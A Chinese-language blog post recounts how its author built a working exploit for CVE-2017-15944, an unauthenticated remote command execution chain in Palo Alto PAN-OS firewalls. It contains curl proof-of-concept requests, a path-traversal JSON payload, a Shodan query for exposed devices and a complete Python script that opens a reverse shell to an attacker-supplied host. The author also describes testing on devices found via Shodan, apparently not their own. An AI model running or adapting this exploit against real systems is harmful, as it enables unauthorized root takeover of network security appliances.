作者:栋栋的栋
作者博客:https://d0n9.github.io
在 exploit-db 看到 CVE-2017-15944 这个漏洞,三处漏洞打出的组合拳导致最后命令执行,三环缺一不可,最喜欢这样变废为宝的利用,但是在复现构造EXP还是遇到不少“坑”,本文记录一下填坑的过程….
exploit-db 地址 https://www.exploit-db.com/exploits/43342/
该漏洞影响范围还是很广泛的,但是并没有看到有人放出EXP,最多只是PoC或者省去了很坑的命令执行漏洞。
<=PAN-OS 6.1.18 <=PAN-OS 7.0.18 <=PAN-OS 7.1.13 <=PAN-OS 8.0.5
三处漏洞分别为:权限绕过,任意目录创建,命令执行
不过命令执行部分的详细内容原作者并没有给出,只有 Payload ,而且还执行不成功,手头也没有设备,只好硬着头皮去 Shodan 找到环境,一点点摸索尝试构造 EXP
$ shodan download search 'Location: /php/login.php port:"4443"' limit 3000 $ shodan parse --fields ip_str search.json.gz
原作者给出了权限绕过的 PoC
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php <!DOCTYPE html> <html><head><title>Moved Temporarily</title></head> <body><h1>Moved Temporarily</h1> <p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php ">here</a>.</p> <address>PanWeb Server/ - at 127.0.0.1:28250 Port 80</address></body> </html> imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" ' 10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";' @start@Success@end@ imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php 2>/dev/null|head -30 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" " http://www.w3.org/TR/html4/loose.dtd";> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <title>Debug Console</title>
这一步的漏洞详情描述最复杂,英文阅读能力跟不上看地也是云里雾里的…
PoC 就很简单了,其实这个漏洞总结一句话就是可以设置任意 cookie 绕过页面的权限认证
先访问 /php/utils/debug.php
,然而访问 /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27”;user|s.”1337”;
再访问/php/utils/debug.php
便绕过了认证
任意目录创建使用前面设置的cookie POST JSON 请求到 /php/utils/router.php/Administrator.get
,如果成功便会在/opt/pancfg/session/pan/user_tmp/{cookie value}/{jobid}.xml
创建一个目录和临时文件,目录就是下面Payload的cookie值,可以用../跳目录,jobid 是应该是创建的任务,在response中会返回。
{"action":"PanDirect","method":"execute","data": ["07c5807d0d927dcd0980f86024e5208b","Administrator.get", {"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713}
我在测试的时候遇到一个小问题,复制的payload 一直返回 {“type”:”exception”,”tid”:””,”message”:”Call to undefined class: “}
,这就很尴尬了,因为我既没有设备也没有代码,只能确定这肯定是一个报错,但并不知道怎么解决。
emmmm,检查之后发现一处“坑”
标红线的位置应该要有空格的,但是由于是copy的原因,空格可能就被换行替代了
如果看到这样的response返回那么就是成功了
其实命令执行漏洞也要配合这里任意创建目录才能完成攻击,但是最关键的细节却被原隐藏了
大概知道环境是crontab 执行脚本,两个脚本之间调用(genindex_batch.sh 调用 genindex.sh),$PAN_BASE_DIR/logdb/$dir/1
是出现漏洞的代码,大概是$dir可控,但是文中提到的find却不知道是何作用。
不过好在原作者给出了EXP示例
* -print -exec python -c exec("[base64 code..]".decode("base64")) ;
熟悉find命令的同学肯定知道 -print -exec
的作用,不熟悉也没有关系,可以man find进行查看,
猜测genindex.sh脚本使用 find 并且目录可控,不过在这里犯了一个致命的错误,因为在命令构造的时候是在终端测试,所以要加单引号双引号不然会报错,前面说过Payload是JOSN,所以又要考虑引号转义的问题,这里抓头了一阵。
意识到错误之后便在sh脚本中测试命令,因为这里是隐式的命令执行,所以要利用oob的方式进行验证,要注意命令并不会立即执行,因为存在命令执行的文件是genindex.sh,而且是 genindex_batch.sh 进行调用,genindex_batch.sh 又是crontab 每隔15分钟执行一次,所以到等触发时间,这里需要注意命令可能会被多次执行,拿到shell看到源码才知道原来命令执行的地方是一个for循环。
ok,可以尝试一下写webshell,直接执行echo肯定是不行的,特殊符号问题。
所以要使用编码,原作者也是使用的这种方式,不过编码有一个特别不好的地方是长度会增加,因为这里是其实是创建文件夹,Linux文件名称最长可支持到255个字符(characters)
漏洞发现者是写webshell拿到的权限,这样权限是nobody,属于低权限,想要root权限就用反弹shell
下面给出 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | #!/usr/bin/env python # encoding: utf-8 import requests import sys import base64 requests.packages.urllib3.disable_warnings() session = requests.Session() def step3_exp(lhost, lport): command = base64.b64encode('''exec("import os; os.system('bash -i >& /dev/tcp/{}/{} 0>&1')")'''.format(lhost, lport)) exp_post = r'''{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../../../../tmp/* -print -exec python -c exec(\"'''+ command + r'''\".decode(\"base64\")) ;'/>\u0000"}],"type":"rpc","tid": 713}''' return exp_post def exploit(target, port): step1_url = 'https://{}:{}/php/utils/debug.php'.format(target, port) step2_url = 'https://{}:{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(target, port) step3_url = 'https://{}:{}/php/utils/router.php/Administrator.get'.format(target, port) try: if session.get(step1_url, verify=False).status_code == 200: if session.get(step2_url, verify=False).status_code == 200: r = session.get(step1_url, verify=False) if 'Debug Console' in r.text: print '[+] bypass success' lhost = raw_input('[*] LHOST: ') if lhost: print '[+] set LHOST = {}'.format(lhost) lport = raw_input('[*] LPORT: ') else: exit('[!] LHOST invalid') if lport: print '[+] set LPORT = {}'.format(lport) else: exit('[!] LPORT invalid') exp_post = step3_exp(lhost, lport) rce = session.post(step3_url, data=exp_post).json() if rce['result']['@status'] == 'success': print '[+] success, please wait ... ' print '[+] jobID: {}'.format(rce['result']['result']['job']) else: exit('[!] fail') else: exit('[!] bypass fail') except Exception, err: print err if __name__ == '__main__': if len(sys.argv) <= 3: exploit(sys.argv[1], sys.argv[2]) else: exit('[+] usage: python CVE_2017_15944_EXP.py IP PORT') |